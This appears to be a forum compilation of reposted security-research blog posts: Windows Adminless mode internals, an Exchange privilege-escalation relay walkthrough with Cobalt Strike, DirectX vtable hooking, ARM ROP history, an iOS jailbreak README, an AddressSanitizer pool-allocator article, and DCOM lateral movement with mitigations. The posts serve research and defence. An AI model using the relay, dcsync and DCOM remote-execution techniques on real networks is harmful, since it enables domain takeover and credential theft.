complicated, the call to SeCodeIntegrityQueryPolicyInformation drills down to SIPolicyQueryWindowsLockdownMode inside the CI module. Which looks like the following: void SIPolicyQueryWindowsLockdownMode(PULONG LockdownMode) { SIPolicyHandle Policy; if (SIPolicyIsPolicyActive(7, &Policy)) { ULONG Options; SIPolicyGetOptions(Policy, &Options, NULL); if ((Options >> 6) & 1) *LockdownMode |= 0x80000000; else *LockdownMode |= 0x20000000; } else { *LockdownMode |= 0x40000000; } } The code queries whether policy 7 is active. Policy 7 corresponds to the system integrity policy file loaded from WinSIPolicy.p7b (see g_SiPolicyTypeInfo in the CI module) which is the policy file used by SMode (what used to be Windows 10S). If 7 is active then the depending on an additional option flag either bit 31 or bit 29 is set in the LockdownMode parameter. If policy 7 is not active then bit 30 is set. Therefore what the call in SeAccessCheck is checking for is basically whether the current system is running Windows in SMode. We can see this more clearly by looking at 1803 which has slightly different code: if (!g_sModeChecked) { SYSTEM_CODE_INTEGRITY_POLICY Policy = {}; ZwQuerySystemInformation(SystemCodeIntegrityPolicyInformation, &Policy, sizeof(Policy)); g_inSMode = Policy.Options & 0xA0000000; g_sModeChecked = TRUE; } The code in 1803 makes it clear that if bit 29 or 31 is set then it's consider to be SMode. This code also uses ZwQuerySystemInformation instead of SeCodeIntegrityQueryPolicyInformation to extract the flags via the SystemCodeIntegrityPolicyInformation information class. We can call this instead of information class 205 using NtObjectManager. We can see in the screenshot below that on a non-SMode system calling NtSystemInfo::CodeIntegrityPolicy has Flag40000000 set which would not be considered SMode. In contrast on an SMode installation we can see Flag20000000 is set instead. This means it's ready to enable Adminless mode. We now know how to enable Adminless mode, but what is the mode enforcing? The final parameter to SeAccessCheckWithHintWithAdminlessChecks is forwarded to other methods. For example the method SepSidInTokenSidHash has been changed. This method checks whether a specific SID is in the list of a token's group SIDs. This is used for various purposes. For example when checking the DACL each ACE is enumerated and SepSidInTokenSidHash is called with the SID from the ACE and the token's group list. If the SID is in the group list the access check handles the ACE according to type and updates the current granted access. The change for Adminless looks like the following: BOOLEAN SepSidInTokenSidHash(PSID_AND_ATTRIBUTES_HASH SidAndHash, PSID Sid, BOOLEAN AdminlessCheck) { if (AdminlessCheck && RtlEqualSid(SeAliasAdminsSid, Sid) ) return FALSE; // ... return TRUE; } Basically if the AdminlessCheck argument is TRUE and the SID to check is BUILTIN\Administrators then fail immediately. This checks in repeated in a number of other places as well. The net result is Administrators (except for SYSTEM which is needed for system operation) can no longer access a resource based on being a member of the Administrators group. As far as I can tell it doesn't block privilege checks, so if you were able to run under a token with "GOD" privileges such as SeDebugPrivilege you could still circumvent the OS security. However you need to be running with High Integrity to use the most dangerous privileges which you won't get as a normal user. I don't really know what the use case for this mode is, at least it's not currently on by default on SMode. As it's not documented anywhere I could find then I assume it's also not something Microsoft are expecting users/admins to enable. The only thoughts I had were kiosk style systems or in Hyper-V containers to block all administrators access. If you were managing a fleet of SMode devices you could also enable this to make it harder for a user to run code as admin, however it wouldn't do much if you had a privilege escalation to SYSTEM. This sounds similar in some ways to System Integrity Protection/SIP/rootless on macOS in that it limits the ability for a user modify the system except rather than a flag which indicates a resource can be modified like on macOS and administrator could still modify a resource as long as they have another group to use. Perhaps eventually Microsoft might document this feature, considering the deep changes to access checking it required. Then again, knowing Microsoft, probably not. Posted by tiraniddo Sursa: https://tyranidslair.blogspot.com/2019/01/enabling-adminless-mode-on-windows-10.html
-
Thursday, January 31, 2019 Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv TL;DR: A new take on the recently released Exchange privilege escalation attack allowing for remote usage without needing to drop files to disk, local admin rights, or knowing any passwords at all. Any shell on a user account with a mailbox = domain admin. I wrote a PowerShell implementation of PrivExchange that uses the credentials of the current user to authenticate to exchange. Find it here: https://github.com/G0ldenGunSec/PowerPriv The Exchange attack that @_dirkjan released last week (https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin) provides an extremely quick path to full domain control on most networks, especially those on which we already have a device that we can run our tools on, such as during an internal network penetration test. However, I saw a bit of a gap from the point of a more red-team focused attack scenario, in which we often wouldn’t have a box on the internal client network that we can run python scripts on (such as ntlmrelayx and PrivExchange) without either installing python libraries or compiling the scripts to binaries and dropping them to disk to run. Additionally, we may not have a user's plaintext or NTLM hashes to run scripts with remotely via proxychains. Trying to find a more effective solution for this scenario, I wrote a PowerShell implementation of PrivExchange called PowerPriv that uses the credentials of the current user to authenticate to the Exchange server. This gets around the problem of needing credentials, as we’ll now just use the already-compromised account to authenticate for us. However, this was really only a first step as it still required that we relay to the domain controller through ntlmrelayx, meaning that we would still need a box on the network running Linux / need to install Python / etc. To put the rest of the pieces together, I used a bunch of the great tunneling functionality that comes in Cobalt Strike to set up a relay for the inbound NTLM authentication request (via HTTP) from the Exchange server, through our compromised host system, to the Cobalt Strike server, and back out to the target domain controller (via LDAP). At a high level, this is what we’re doing: So, in more depth, what are we actually doing here? To begin, let’s get a ‘compromised’ system and check who the local admins are: Cool, we’re running as ‘tim’, a user who is not currently an admin on this system, but that shouldn’t matter. Next, let's get our forwarding set up using the 'socks' + 'rportfwd' commands in Cobalt Strike and the /etc/proxychains.conf file: We’re doing a few things here, setting up a reverse port forward to send traffic from port 80 on the compromised system to port 80 on our attacker system, and then setting up a SOCKS proxy to forward traffic back out through the compromised system over port 36529 on our box (the specific port used doesn’t matter). Once we've configured these, we can use proxychains to forward traffic through our SOCKS proxy set up on port 36259. To perform the relay, we'll run ntlmrelayx, forwarding traffic through proxychains in order to get it back to the target environment. After this is up and running, we are ready to kick off the attack. I’m using the PowerShell implementation of PrivExchange that I wrote called PowerPriv to authenticate using Tim's credentials. In this example, all we need are the IPs of the Exchange server and the system which we currently have a shell on, since our compromised system will be relaying the incoming request to our attack server: After this, we sit back and wait a minute for the NTLM authentication request to come back from the remote Exchange server: Looks like our attack succeeded. Let's see if Tim can now perform a dcsync and get another user’s NTLM hash, even though Tim is only a lowly domain user: A resounding success! All without ever needing to know what Tim’s password is, perform any poisoning attacks, or drop files onto his system. As to why we’re using the Cobalt Strike dcsync module vs secretsdump – in this scenario we do not have a plaintext password or NTLM hash for Tim (or any user), which would be required if we want to run secretsdump from our box via proxychains. If you do have credentials, you can definitely use whichever method you prefer. A few gotchas from during this process: Make sure to use an appropriate type of malleable profile for your beacon. Don’t try and be fancy and send data over URIs or parameters. Due to the nature of the relayed authentication we need to be able to quickly get the authentication request and forward it back out. I also completed all testing using an interactive beacon, a 5-minute sleep isn’t going to work for this one. I was initially having issues getting the dcsync working when using an FQDN (vs. the netbios name) of my target domain. This was likely due to how I configured my naming conventions on my local domain, but something to be aware of. In this example, my Cobalt Strike teamserver was running on the same box as my Cobalt Strike operator console (I was not connecting to a remote team server). If you have a remote team server, this is where you would need to set up your relay, as this is where the the reverse port fwd would be dumped out to. (May need further testing) Notes and links: @_Dirkjan’s blog which covers the actual Exchange priv esc bug that he found in greater depth: https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/ Github Repo for PowerPriv: https://github.com/G0ldenGunSec/PowerPriv Github Repo for ntlmrelayx: https://github.com/SecureAuthCorp/impacket Cobalt Strike resources on port fwd’ing and SOCKS proxies: https://www.youtube.com/watch?v=bwq0ToNPCtg https://blog.cobaltstrike.com/2016/06/01/howto-port-forwards-through-a-socks-proxy/ *This technique was demonstrated in the article with Cobalt Strike. However, this same vector is possible using other agents that support port forwarding and proxying, such as Meterpreter. Posted by Dave at 12:17 PM Sursa: http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html
-
Virtual Method Table Hooking Explained niemandPosted on January 30, 20191 Comment Virtual Function Hooking We have seen in the previous post that sometimes we need to understand and use VF (Virtual Functions) in order to properly hook a function. So far we have seen this two times: when we hooked Present to control the rendering flow of DirectX (here); and when we hooked DrawIndexed to fingerprint models from DirectX (here). For both cases, we gave for granted how this process works and we didn’t see in details how to implement this for other methods we may need to hook. Let’s quickly review what we saw in the previous posts. VF table in memory. What have we seen so far? To obtain the real address of DrawIndexed, we did the following: typedef void(__stdcall *ID3D11DrawIndexed)(ID3D11DeviceContext* pContext, UINT IndexCount, UINT StartIndexLocation, INT BaseVertexLocation); DWORD_PTR* pDeviceContextVTable = NULL; ID3D11DrawIndexed fnID3D11DrawIndexed; pDeviceContextVTable = (DWORD_PTR*)pContext; pDeviceContextVTable = (DWORD_PTR*)pDeviceContextVTable[0]; fnID3D11DrawIndexed = (ID3D11DrawIndexed)pDeviceContextVTable[12]; std::cout << "[+] pDeviceContextVTable Addr: " << std::hex << pDeviceContextVTable << std::endl; std::cout << "[+] fnID3D11DrawIndexed Addr: " << std::hex << fnID3D11DrawIndexed << std::endl; Basically, what we need to know are two things: an instance of the class and the offset of the method inside the VF table. Getting an instance of the class may vary depending on the class we are trying to hook, sometimes we can create a fake and temporary object to traverse its VF table and find the real address of the function; or another option could be to obtain a reference to an already existent instance and traverse its VF table. The big question is how we can know the correct offset for our so appreciated method. That’s what we are going to learn today. When we hooked DrawIndexed we used pContext, which was a reference to an already existent instance of ID3D11DeviceContext. However, when we tried to do the same for Present, we had to create our own instance of IDXGISwapChain and then traverse its VF table. Which option you will choose will depend on what you are trying to do and how the game/engine has been implemented. How VF works? When we hook VF tables, we can achieve this through multiple ways, the most common ones are to overwrite the address on the VF table with a pointer to our function or to inject a JMP inside the original function. For the second case, we need to take into account that we will have to fix in our function whatever we are overwriting inside the original function. For example, if you overwrite a sub rsp,30 to place a new JMP, you have to make sure to fix RSP when you call back to the original function. Modifying the real function address stored in the VF table sounds awesome, but what does this actually mean? What we do is basically the following: Use an instance of the class to obtain its VF table Traverse the table and find our target method using its offset Store the original address from our target method Modify this entry on the VF table with the address of our modified method (Optional) restore the original address once we accomplish our goal What will happen the next time that the game tries to call to the hooked method? The game will traverse the VF table of the object to obtain the real address of the method. Since this table has been modified by us, the game will end thinking that the real address of the method is our new injected address and will redirect the flow of the process to this address. Great! Now the game will execute our method. After that, we usually need to call the original method by using the address we stored before modifying the VF table. Something that we need to be aware of, is that now always the VF table is used to identify the real address of a function. This won’t always happen, and if we can use this technique will depend on a few things. Let’s say we have a class called “Foo” and we want to call its method “hack”. There are different ways of doing this, depending on how the class and their methods had been implemented: fooInst.hack(); and fooInst->hack(); (*fooInst).hack() In the first case, the application won’t traverse the VF table, unless is used as a reference to an instance, because it knows the exact address and type function. For the last two cases, the VF table will be traversed successfully because of something called type ambiguity. This happens because the compiler checks for ambiguities at compile time, and it is unclear how to resolve the access to the function. There are multiple cases where the compiler finds a declaration ambiguous and there is plenty of information on the internet about this. Finding the correct offset at runtime Let’s imagine that we need to hook a method from ID3D11DeviceContext and we already have an instance of this object called pContext. We may have obtained this instance as a reference by locating an already existing object or by creating our own one. What we could do is print the address of our instance, so now we can attach to the process and locate it on memory: By having this address we can attach any debugger we want and start analyzing our instance in run time. Below you can see the address where our instance is located: The first pointer located at `436CFCB8` will be the address of the VF table we are looking for. Let’s follow that pointer: It looks like there are a lot of pointers, perfect, this is what we were looking for, the VF table. Now the next step would be to identify the correct offset of our target function. If we do Right Click -> Follow QWORD in Disassembler and we have the debugging symbols for d3d11.dll we will be able to see the name of the function that starts at that address, as you can see at the top of the previous image: `.text_hf:00007FFE06FC7CD0 d3d11.dll:$187CD0 #1868D0 <CContext::TID3D11DeviceContext_DrawIndexed_Amortized<1>>` By counting the index of the offset we have just found we can obtain its offset. In this case will be 12. Finding the correct offset statically For DLLs with symbols, it’s pretty simple also to check it statically using IDA for example. By opening dx11.dll and looking through ´.rdata´ for adjacent function offsets, we can easily find the VF table of TID3D11DeviceContext: You can see the offsets marked with red numbers on each reference. The number 12 will correspond to our target function. Conclusion As you can see, finding the correct offset it is quite simple and there are multiple ways to achieve the same. These are two examples that you can use to quickly find the offsets you need when hooking a function. Of course, if you are trying to hook a custom class without symbols, more reversing will be required in order to identify the class vtable inside the .exe/.dll. Sursa: https://niemand.com.ar/2019/01/30/virtual-method-table-hooking-explained/
-
Mo 03 September 2018 ARM Exploitation: Return oriented Programming Kategorien: «Reverse Engineering» Ersteller: dimi ARM Exploitation: Return oriented Programming Building ROP chains Changelog ... on the shoulders of giants (ROP history) return-into-libc Borrowed Code Chunks Return Oriented Programming ROP on ARM More interesting papers Building ROP chains This series is about exploiting simple stack overflow vulnerabilities using return oriented programming (ROP) to defeat data execution prevention - DEP. There are three posts in this series. The posts got pretty dense, there is a lot of stuff to understand. If you miss anything, find bugs (language / grammar / ...), have ideas for improvements or any questions, do not hesitate to contact (via Twitter or contact page) me. I am happy to answer your questions and incorporate improvements in this post. Latest Update of this series: 03.12.2018 Changelog 03.12.2018: Added a working, prebuild environment to ease the process of getting started. See first part. 13.10.2018: Updated "Setup & Tool with hints how to initialize the Archlinux ARM keyring and commands to install the nesessary packages. Also added command line switch to disable GCC stack canaries. 07.09.2018: Added note to successfully set up the bridge interface with qemu (in the first part). 1 - ARM Exploitation - Setup and Tools In the first part I describe the setup I used, which includes a set of script to build a QEMU based ArchLinux ARM environment and a vulnerable HTTP daemon, which is exploited during this series. 2 - ARM Exploitation - Defeating DEP - execute system() In the second part I try to explain the general idea of ROP chains, ROP gadgets and how to chain them to achieve a goal. ROP theory! 3 - ARM Exploitation - Defeating DEP - executing mprotect() In the third part we will get into the nitty-gritty details of a ROP chain. I will explain where and how to find gadgets, how and where to place the ROP chain. In the end we will have regained back the permissions DEP took from us! ... on the shoulders of giants (ROP history) There are thousands of great blogs, videos, tutorials, papers and magazines out there. Many great minds publish, write, draw and record stuff, make it freely available for everyone. Never in history it was that easy to learn something – just invest some time and effort. I also had the opportunity to enjoy a great and recommendable training by @therealsaumil on ARM exploitation during BlackHat this year - you can find infos, resources and a ROP challenge at his blog. I can't name all of the great minds who influenced me over the years without forgetting somebody. There is a lot of great work on ROP on different platforms. A incomplete list of resources you want to consider reading in parallel to, after or before reading my post, would be: source: Tim Kornaus diploma thesis return-into-libc 1997 Solar Designer published the first "return-into-libc" buffer overflow exploit. In these days parts of the stack just got non-executable: funnily enough, it was also Solar Designer who posted the patch for the Linux Kernel, just to publish months later a way to circument his own patch. Also the term "Return oriented Programming" was not yet established but "return into libc" was used. The exploited platform way x86, so return-into-libc exploited a NX stack by searching for the string "/bin/sh" in memory, then placing the address of the string and the address of system(), using the overflow, on the stack. Execution got redirected to system() (via the overwritten ret) and /bin/sh executed. He even described how to call two libc functions, the second one without parameters , since they would use the exact same space as the parameters for the first function call. He also proposed to fix this by placing libc in regions of memory which contain a zero byte. Since most buffer overflow exploits got exploited via a overflown ASCIIZ string, that would render his version of the return-into-libc ineffective (since the address of system() would have a zero byte in it) His paper: lpr LIBC RETURN exploit Rafal Wojtczuk then, only some months later, extended the return-into-libc by: Exploiting the PLT address of libc functions, which are not in memory regions with zero bytes. Placing shellcode in the still executable data segment His paper: Defeating Solar Designer's Non-executable Stack Patch A further improvement was released 2001 in phrack by Nergal where two methods to call multiple functions with parameters were described: ESP lifting - In binaries, which were compiled with -fomit-frame-pointer, it was possible to use their special epilogie by returning to that, after calling the first function, to shift the stack pointer into higher regions (since the original task of the epilogue was to clean up its functions stack frame!) to the second functions call construct. pop-ret: by returning to a pop;ret (or: many-pop; ret gadget) instead of to the second function, you can pop the arguments of the called function before further continuing with the next function. The caveat: multiple-pop-and-ret gadgets are quite rare. frame faking (programs compiled without -omitframepointer😞 by overwriting the saved EBP with the next called functions frame and returning into a LEAVE; RET gadget, the frame pointer can be moved always futher to the next called function. Borrowed Code Chunks With the ELF64 ABI then the parameters of a function were passed via the registers instead on the stack. This rendered the already mentioned return-into-libc useless. Sebastian Krahmer then described the "borrowed code chunks" technique which used a gadget (even if not yet named that) to move the value of register rsp into the register rdi and then ret - executing system() again in an ELF64 ABI binary. His paper: x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique Return Oriented Programming In 2007 then the term Return Oriented Programming (and gadget) was coined by H. Shacham in a paper named "The Geometry of Innocent Flesh on the Bone:Return-into-libc without Function Calls (on the x86)". He generalized the principle of return oriented programming by using "short code sequences" (ie gadgets) instead of the whole functions. He described a set of gadgets which were "turing complete by inspection", so they allowed arbitary computation. ROP on ARM Tim Kornau then published in 2010 his diploma thesis on ROP on ARM architectures. He nicely summarized how gadgets and ROP shellcode on ARM can be crafted. It really is one of the basis of my summary on that topic, so if you want a even deeper dive into ROP on ARM, make sure to work through his great thesis. A second must-read is the technical paper Return-Oriented Programming without Returns on ARM. It describes many of the techniques used here! More interesting papers A small, not complete list of publications you might want to look over: Alphanumeric RISC ARM Shellcode Code Injection Attacks on Harvard-Architecture Devices Return-Oriented Programming on a Cortex-M Processor if you miss any links here, let me know! next post of this series >> Sursa: https://blog.3or.de/arm-exploitation-return-oriented-programming.html
-
OsirisJailbreak12 iOS 12.0 -> 12.1.2 Incomplete Jailbreak with CVE-2019-6225 An incomplete iOS 12 Jailbreak. For now it only runs the exploit, gets tfp0, gets ROOT, escapes the SandBox, writes a test file to prove the sandbox was escaped then resprings. Feel free to build on top of it as long as you respect the GPLv3 license. Older (4K) devices are not supported for now. 16K devices are A12 is experimental - may not work.. In order to compile this app, you need to add qilin.o to the project. This can be downloaded from http://newosxbook.com/QiLin/qilin.o DEVELOPER JAILBREAK! NOT FOR THE GENERAL PUBLIC Demo video: https://twitter.com/FCE365/status/1090770862238777344 Credits: Jonathan Levin for QiLin and his books! Brandon Azad for the tfp0 exploit Xerub(?) Patchfinder64 Me: GeoSn0w on Twitter: @FCE365 My YouTube channel: iDevice Central Sursa: https://github.com/GeoSn0w/OsirisJailbreak12/
-
When your Memory Allocator hides Security Bugs Posted by Hanno Böck on Wednesday, January 30. 2019 Recently I shared some information about potential memory safety bugs in the Apache web server together with Craig Young. One issue that came up in that context is the so-called pool allocator Apache is using. What is this pool allocator? Apache’s APR library has a feature where you can allocate a pool, which is a larger area of memory, and then do memory allocations within that pool. It’s essentially a separate memory allocation functionality by the library. Similar concepts exist in other software. Why would anyone do that? It might bring performance benefits to have memory allocation that’s optimized for a specific application. It also can make programming more convenient when you can allocate many small buffers in a pool and then not bothering about freeing each one of then and instead just free the whole pool with all allocations within. There’s a disadvantage with the pool allocator, and that is that it may hide bugs. Let’s look at a simple code example: #include <apr_pools.h> #include <stdio.h> #include <string.h> int main() { apr_pool_t *p; char *b1, *b2; apr_initialize(); apr_pool_create(&p, NULL); b1 = apr_palloc(p, 6); b2 = apr_palloc(p, 6); strcpy(b1, "This is too long"); strcpy(b2, "Short"); printf("%s %s\n", b1, b2); } We can compile this with: gcc $(pkg-config --cflags --libs apr-1) input.c What we’re doing here is that we create a pool p and we create two buffers (b1, b2) within that pool, each six byte. Now we fill those buffers with strings. However for b1 we fill it with a string that is larger than its size. This is thus a classic buffer overflow. The printf at the end which outputs both strings will show garbled output, because the two buffers interfere. Now the question is how do we find such bugs? Of course we can carefully analyze the code, and in the simple example above this is easy to do. But in complex software such bugs are hard to find manually, therefore there are tools to detect unsafe memory access (e.g. buffer overflows, use after free) during execution. The state of the art tool is Address Sanitizer (ASAN). If you write C code and don’t use it for testing yet, you should start doing so now. Address Sanitizer is part of both the gcc and clang compiler and it can be enabled by passing -fsanitize=address on the command line. We’ll also add -g, which adds debugging information and will give us better error messages. So let’s try: gcc -g -fsanitize=address $(pkg-config --cflags --libs apr-1) input.c If you try this you will find out that nothing has changed. We still see the garbled string and Address Sanitizer has not detected the buffer overflow. Let’s try rewriting the above code in plain C without the pool allocator: #include <stdio.h> #include <string.h> #include <stdlib.h> int main() { char *b1, *b2; b1 = malloc(6); b2 = malloc(6); strcpy(b1, "This is too long"); strcpy(b2, "Short"); printf("%s %s\n", b1, b2); } If we compile and run this with ASAN it will give us a nice error message that tells us what’s going on: ==9319==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000016 at pc 0x7f81fdd08c9d bp 0x7ffe82881930 sp 0x7ffe828810d8 WRITE of size 17 at 0x602000000016 thread T0 #0 0x7f81fdd08c9c in __interceptor_memcpy /var/tmp/portage/sys-devel/gcc-8.2.0-r6/work/gcc-8.2.0/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:737 #1 0x5636994851e0 in main /tmp/input.c:10 #2 0x7f81fdb204ea in __libc_start_main (/lib64/libc.so.6+0x244ea) #3 0x5636994850e9 in _start (/tmp/a.out+0x10e9) 0x602000000016 is located 0 bytes to the right of 6-byte region [0x602000000010,0x602000000016) allocated by thread T0 here: #0 0x7f81fddb6b10 in __interceptor_malloc /var/tmp/portage/sys-devel/gcc-8.2.0-r6/work/gcc-8.2.0/libsanitizer/asan/asan_malloc_linux.cc:86 #1 0x5636994851b6 in main /tmp/input.c:7 #2 0x7f81fdb204ea in __libc_start_main (/lib64/libc.so.6+0x244ea) So why didn’t the error show up when we used the pool allocator? The reason is that ASAN is built on top of the normal C memory allocation functions like malloc/free. It does not know anything about APR’s pools. From ASAN’s point of view the pool is just one large block of memory, and what’s happening inside is not relevant. Thus we have a buffer overflow, but the state of the art tool to detect buffer overflows is unable to detect it. This is obviously not good, it means the pool allocator takes one of the most effective ways to discover an important class of security bugs away from us. If you’re looking for solutions for that problem you may find old documentation about "Debugging Memory Allocation in APR". However it relies on flags that have been removed from the APR library, so it’s not helpful. However there’s a not very well documented option of the APR library that allows us to gain memory safety checks back. Passing --enable-pool-debug=yes to the configure script will effectively disable the pool allocator and create a separate memory allocation for each call to the pool allocator. If we compile our first example again, this time with the pool debugger and ASAN, we’ll see the error: ==20228==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000016 at pc 0x7fe2e625dc9d bp 0x7ffe8419a180 sp 0x7ffe84199928 WRITE of size 17 at 0x602000000016 thread T0 #0 0x7fe2e625dc9c in __interceptor_memcpy /var/tmp/portage/sys-devel/gcc-8.2.0-r6/work/gcc-8.2.0/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:737 #1 0x55fe439d132c in main /tmp/input.c:15 #2 0x7fe2e5fc34ea in __libc_start_main (/lib64/libc.so.6+0x244ea) #3 0x55fe439d1129 in _start (/tmp/a.out+0x1129) 0x602000000016 is located 0 bytes to the right of 6-byte region [0x602000000010,0x602000000016) allocated by thread T0 here: #0 0x7fe2e630bb10 in __interceptor_malloc /var/tmp/portage/sys-devel/gcc-8.2.0-r6/work/gcc-8.2.0/libsanitizer/asan/asan_malloc_linux.cc:86 #1 0x7fe2e6203157 (/usr/lib64/libapr-1.so.0+0x1f157) #2 0x7fe2e5fc34ea in __libc_start_main (/lib64/libc.so.6+0x244ea) Apache is not alone in having a custom memory allocation that can hide bugs. Mozilla’s NSPR and NSS libraries have something called an Arena Pool, Glib has memory slices and PHP has the Zend allocator. All of them have the potential of hiding memory safety bugs from ASAN, yet luckily all have an option to be turned off for testing. I maintain a collection of information about such custom allocators and how to disable them. But back to Apache. When we started reporting use after free bugs we saw with the debugging option for the pool allocator we learned from the Apache developers that there are incompatibilities with the http2 module and the pool debugger. This has led to replies after our disclosure that these are non-issues, because nobody should run the pool debugger in production. It should be noted that we were also able to reproduce some bugs without the pool debugger in the latest Apache version (we have shared this information with Apache and will share it publicly later), and that indeed it seems some people did run the pool debugger in production (OpenBSD). But I have another problem with this. If we consider that parts of the current Apache code are incompatible with the APR pool debugger then we end up with an unfortunate situation: If a tool like ASAN reports memory safety bugs with the pool debugger we don’t know if they are real issues or just incompatibilities. If we turn off the pool debugger we won’t see most of the memory safety bugs. That’s a situation where testing Apache for memory safety bugs becomes practically very difficult. In my opinion that by itself is a worrying and severe security issue. Image source: Dreamstime, CC0 Sursa: https://blog.fuzzing-project.org/65-When-your-Memory-Allocator-hides-Security-Bugs.html
-
Lateral Movement via DCOM: Round 2 January 23, 2017 by enigma0x3 Most of you are probably aware that there are only so many ways to pivot, or conduct lateral movement to a Windows system. Some of those techniques include psexec, WMI, at, Scheduled Tasks, and WinRM (if enabled). Since there are only a handful of techniques, more mature defenders are likely able to prepare for and detect attackers using them. Due to this, I set out to find an alternate way of pivoting to a remote system. This resulted in identifying the MMC20.Application COM object and its “ExecuteShellCommand” method, which you can read more about here. Thanks to the help of James Forshaw (@tiraniddo), we determined that the MMC20.Application object lacked explicit “LaunchPermissions”, resulting in the default permission set allowing Administrators access: You can read more on that thread here. This got me thinking about other objects that have no explicit LaunchPermission set. Viewing these permissions can be achieved using @tiraniddo’s OleView .NET, which has excellent Python filters (among other things). In this instance, we can filter down to all objects that have no explicit Launch Permission. When doing so, two objects stood out to me: “ShellBrowserWindow” and “ShellWindows”: Another way to identify potential target objects is to look for the value “LaunchPermission” missing from keys in HKCR:\AppID\{guid}. An object with Launch Permissions set will look like below, with data representing the ACL for the object in Binary format: Those with no explicit LaunchPermission set will be missing that specific registry entry. The first object I explored was the “ShellWindows” instance. Since there is no ProgID associated with this object, we can use the Type.GetTypeFromCLSID .NET method paired with the Activator.CreateInstance method to instantiate the object via its AppID on a remote host. In order to do this, we need to get the AppID CLSID for the ShellWindows object, which can be accomplished using OleView .NET as well: [Edit] Thanks to @tiraniddo for pointing it out, the instantiation portions should have read “CLSID” instead of “AppID”. This has been corrected below. [Edit] Replaced screenshot of AppID wit CLSID As you can see below, the “Launch Permission” field is blank, meaning no explicit permissions are set. Now that we have the AppID CLSID, we can instantiate the object on a remote target: With the object instantiated on the remote host, we can interface with it and invoke any methods we want. The returned handle to the object reveals several methods and properties, none of which we can interact with. In order to achieve actual interaction with the remote host, we need to access the WindowsShell.Item method, which will give us back an object that represents the Windows shell window: With a full handle on the Shell Window, we can now access all of the expected methods/properties that are exposed. After going through these methods, “Document.Application.ShellExecute” stood out. Be sure to follow the parameter requirements for the method, which are documented here. As you can see above, our command was executed on a remote host successfully. Now that the “ShellWindows” object was tested and validated, I moved onto the “ShellBrowserWindow” object. One of the first things I noticed was that this particular object does not exist on Windows 7, making its use for lateral movement a bit more limited than the “ShellWindows” object, which I tested on Win7-Win10 successfully. Since the “ShellBrowserWindow” object was tested successfully on Windows 10-Server 2012R2, it should be noted as well. I took the same enumeration steps on the “ShellBrowserWindow” object as I did with the “ShellWindows” object. Based on my enumeration of this object, it appears to effectively provide an interface into the Explorer window just as the previous object does. To instantiate this object, we need to get its AppID CLSID. Similar to above, we can use OleView .NET: [Edit] Replaced screenshot of AppID wit CLSID Again, take note of the blank Launch Permission field With the AppID CLSID, we can repeat the steps taken on the previous object to instantiate the object and call the same method: As you can see, the command successfully executed on the remote target. Since this object interfaces directly with the Windows shell, we don’t need to invoke the “ShellWindows.Item” method, as on the previous object. While these two DCOM objects can be used to run shell commands on a remote host, there are plenty of other interesting methods that can be used to enumerate or tamper with a remote target. A few of these methods include: Document.Application.ServiceStart() Document.Application.ServiceStop() Document.Application.IsServiceRunning() Document.Application.ShutDownWindows() Document.Application.GetSystemInformation() Defenses You may ask, what can I do to mitigate or detect these techniques? One option is to enable the Domain Firewall, as this prevents DCOM instantiation by default. While this mitigation works, there are methods for an attacker to tamper with the Windows firewall remotely (one being remotely stopping the service). There is also the option of changing the default “LaunchPermissions” for all DCOM objects via dcomncfg.exe by right clicking on “My Computer”, selecting “Properties” and selecting “Edit Default” under “Launch and Activation Permissions”. You can then select the Administrators group and uncheck “Remote Launch” and “Remote Activation”: Attempted instantiation of an object results in “Access Denied”: You can also explicitly set the permissions on the suspect DCOM objects to remove RemoteActivate and RemoteLaunch permissions from the Local Administrators group. To do so, you will need to take ownership of the DCOM’s HKCR AppID key, change the permissions via the Component Services MMC snap-in and then change the ownership of the DCOM’s HKCR AppID key back to TrustedInstaller. For example, this is the process of locking down the “ShellWindows” object. First, take ownership of HKCR:\AppID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}. The GUID will be the AppID of the DCOM object; finding this was discussed above. You can achieve this by going into regedit, right click on the key and select “permissions”. From there, you will find the “ownership” tab under “advanced”. As you can see above, the current owner is “TrustedInstaller”, meaning you can’t currently modify the contents of the key. To take ownership, click “Other Users or Groups” and add “Administrators” if it isn’t already there and click “Apply”: Now that you have ownership of the “ShellWindows” AppID key, you will need to make sure the Administrators group has “FullControl” over the AppID key of the DCOM object. Once done, open the “Component Services” MMC snap-in, browse to “ShellWindows”, right click on it and select “Properties”. To modify the Remote Activation and Launch permissions, you will need to go over to the “Security” tab. If you successfully took ownership of AppID key belonging to the DCOM object, the radio buttons for the security options should *not* be grayed out. To modify the Launch and Activation permissions, click the “edit” button under the “Launch and Activation Permissions” section. Once done, select the Administrators group and uncheck “Remove Activation” and “Remote Launch”. Click “Ok” and then “Apply” to apply the changes. Now that the Remote Activation and Launch permissions have been removed from the Administrators group, you will need to give ownership of the AppID key belonging to the DCOM object back to the TrustedInstaller account. To do so, go back to the HKCR:\AppID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39} registry key and navigate back to the “Other Users and Groups” section under the owner tab. To add the TrustedInstaller account back, you will need to change the “Location” to the local host and enter “NT SERVICE\TrustedInstaller” as the object name: Click “OK” and then “Apply” to change the owner back. One important note: Since we added “Administrators” the “FullControl” permission to the AppID key belonging to the DCOM object, it is critical to remove that permission by unchecking the “FullControl” box for the Administrators group. Since the updated DCOM permissions are stored as “LaunchPermission” under that key, an attacker can simply delete that value remotely, opening the DCOM object back up if not properly secured. After making these changes, you should see that instantiation of that specific DCOM object is no longer allowed remotely: Keep in mind that while this mitigation does restrict the launch permissions of the given DCOM object, an attacker could theoretically remotely take ownership of the key and disable the mitigation since it is stored in the registry. There is the option of disabling DCOM, which you can read about here. I have not tested to see if this breaks anything at scale, so proceed with caution. As a reference, the three DCOM objects I have found that allows for remote code execution are as follows: MMC20.Application (Tested Windows 7, Windows 10, Server 2012R2) AppID: 7e0423cd-1119-0928-900c-e6d4a52a0715 ShellWindows (Tested Windows 7, Windows 10, Server 2012R2) AppID: 9BA05972-F6A8-11CF-A442-00A0C90A8F39 ShellBrowserWindow (Tested Windows 10, Server 2012R2) AppID: 